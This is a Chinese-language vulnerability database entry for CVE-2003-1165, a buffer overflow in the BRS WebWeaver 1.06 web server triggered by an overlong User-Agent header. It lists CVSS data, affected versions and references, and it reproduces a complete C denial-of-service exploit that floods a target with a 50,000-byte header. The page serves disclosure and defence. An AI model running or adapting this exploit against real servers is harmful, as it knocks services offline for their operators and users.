CVE-2003-1165
CVSS5.0
发布时间 :2003-12-31 00:00:00
修订时间 :2008-09-05 16:36:12
NMCOE    

[原文]Buffer overflow in BRS WebWeaver 1.06 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP request with a long User-Agent header.


[CNNVD]BRS WebWeaver httpd `User-Agent`远程缓冲区溢出漏洞(CNNVD-200312-151)

        
        BRS WebWeaver是一款集成化的小型快速的HTTP和FTP服务程序,提供目录保护功能,适用于Windows 9x/NT操作系统。
        BRS WebWeaver httpd不正确处理用户提交的`User-Agent`字段数据,远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击。
        如果用户提交的HTTP请求中的`User-Agent`字段包含超长字符串,当BRS WebWeaver httpd解析时,可导致程序崩溃,停止所有响应,产生拒绝服务。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:brs:webweaver:1.0.4
cpe:/a:brs:webweaver:0.63_beta
cpe:/a:brs:webweaver:1.0.1
cpe:/a:brs:webweaver:0.49_beta
cpe:/a:brs:webweaver:0.51_beta
cpe:/a:brs:webweaver:1.0.2
cpe:/a:brs:webweaver:0.50_beta
cpe:/a:brs:webweaver:1.0.5
cpe:/a:brs:webweaver:1.0.6
cpe:/a:brs:webweaver:0.62_beta
cpe:/a:brs:webweaver:1.0.3
cpe:/a:brs:webweaver:0.52_beta
cpe:/a:brs:webweaver:0.60_beta
cpe:/a:brs:webweaver:0.61_beta

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1165
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1165
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-151
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/13571
(UNKNOWN)  XF  brswebweaver-useragent-bo(13571)
http://www.securityfocus.com/bid/8947
(UNKNOWN)  BID  8947
http://www.securityfocus.com/archive/1/343111
(UNKNOWN)  BUGTRAQ  20031101 BRS WebWeaver 1.06 remote DoS vulnerability

- 漏洞信息

BRS WebWeaver httpd `User-Agent`远程缓冲区溢出漏洞
中危 其他
2003-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        BRS WebWeaver是一款集成化的小型快速的HTTP和FTP服务程序,提供目录保护功能,适用于Windows 9x/NT操作系统。
        BRS WebWeaver httpd不正确处理用户提交的`User-Agent`字段数据,远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击。
        如果用户提交的HTTP请求中的`User-Agent`字段包含超长字符串,当BRS WebWeaver httpd解析时,可导致程序崩溃,停止所有响应,产生拒绝服务。
        

- 公告与补丁

        厂商补丁:
        BRS
        ---
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://members.nbci.com/_XMCM/BSoutham/WebWeaver/WebWeaver.html

- 漏洞信息 (23325)

BRS WebWeaver 1.06 httpd `User-Agent` Remote Denial of Service Vulnerability (EDBID:23325)
multiple dos
2003-11-01 Verified
0 D4rkGr3y
N/A [点击下载]
source: http://www.securityfocus.com/bid/8947/info

It has been reported that BRS WebWeaver may be prone to a denial of service issue that may allow a remote attacker to cause the software to crash or hang. The issue presents itself when the server receives a request containing a large string value for the `User-Agent` parameter. 

Successful exploitation of this issue may allow an attacker to cause the software to crash or hang.

BRS WebWeaver versions 1.06 and prior have been reported to be prone to this issue.

/*
 *  BRS WebWeaver v.1.06 remote DoS exploit
 *
 * -d4rkgr3y [d4rk@securitylab.ru]
 *
 */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>

#define port 80

main(int argc, char **argv) {
        struct hostent *hs;
        struct sockaddr_in sock;
        int sockfd, i;
        const c = 50000;
        char request[50150] =
                "GET /m00-r0cz HTTP/1.0\n"
                "Accept: */*\n"
                "Accept-Language: jp\n"
                "Accept-Encoding: gzip, deflate\n"
                "Host: m00security.org\n"
                "User-Agent: ";
        printf("BRS WebWeaver v.1.06 remote DoS exploit\n\n");

        if (argc!=2){
                printf("usage\n %s hostname\n\n",argv[0]);
                exit(1);
        }

        //memset((request+98),0x41,c);
        memset((request+strlen(request)),0x41,c);
        /* l33t ;] */
        request[strlen(request)] = 0x0a;
        request[strlen(request)] = 0x43;
        request[strlen(request)] = 0x6f;
        request[strlen(request)] = 0x6e;
        request[strlen(request)] = 0x6e;
        request[strlen(request)] = 0x65;
        request[strlen(request)] = 0x63;
        request[strlen(request)] = 0x74;
        request[strlen(request)] = 0x69;
        request[strlen(request)] = 0x6f;
        request[strlen(request)] = 0x6e;
        request[strlen(request)] = 0x3a;
        request[strlen(request)] = 0x20;
        request[strlen(request)] = 0x4b;
        request[strlen(request)] = 0x65;
        request[strlen(request)] = 0x65;
request[strlen(request)] = 0x70;
        request[strlen(request)] = 0x2d;
        request[strlen(request)] = 0x41;
        request[strlen(request)] = 0x6c;
        request[strlen(request)] = 0x69;
        request[strlen(request)] = 0x76;
        request[strlen(request)] = 0x65;
        request[strlen(request)] = 0x0a;
        request[strlen(request)] = 0x0a;

        bzero(&sock, sizeof(sock));
        sock.sin_family = AF_INET;
        sock.sin_port = htons(port);
        if ((sock.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
                if ((hs=gethostbyname(argv[1]))==NULL) {
                        printf("damn");
                        exit(1);
                }
                printf("~ Host resolved.\n");
                sock.sin_family = hs->h_addrtype;
                
memcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);
        }
        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("damn");  exit(0);
        }

        if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0){
                perror("damn"); exit(0);
        }
        printf("~ Socket connected\n");
        printf("~ Sending evil code... ");
        write(sockfd,request,strlen(request));
        printf("done\n\n");
        close(sockfd);
}
		

- 漏洞信息

18855
BRS WebWeaver HTTP User-Agent Header Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-11-01 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站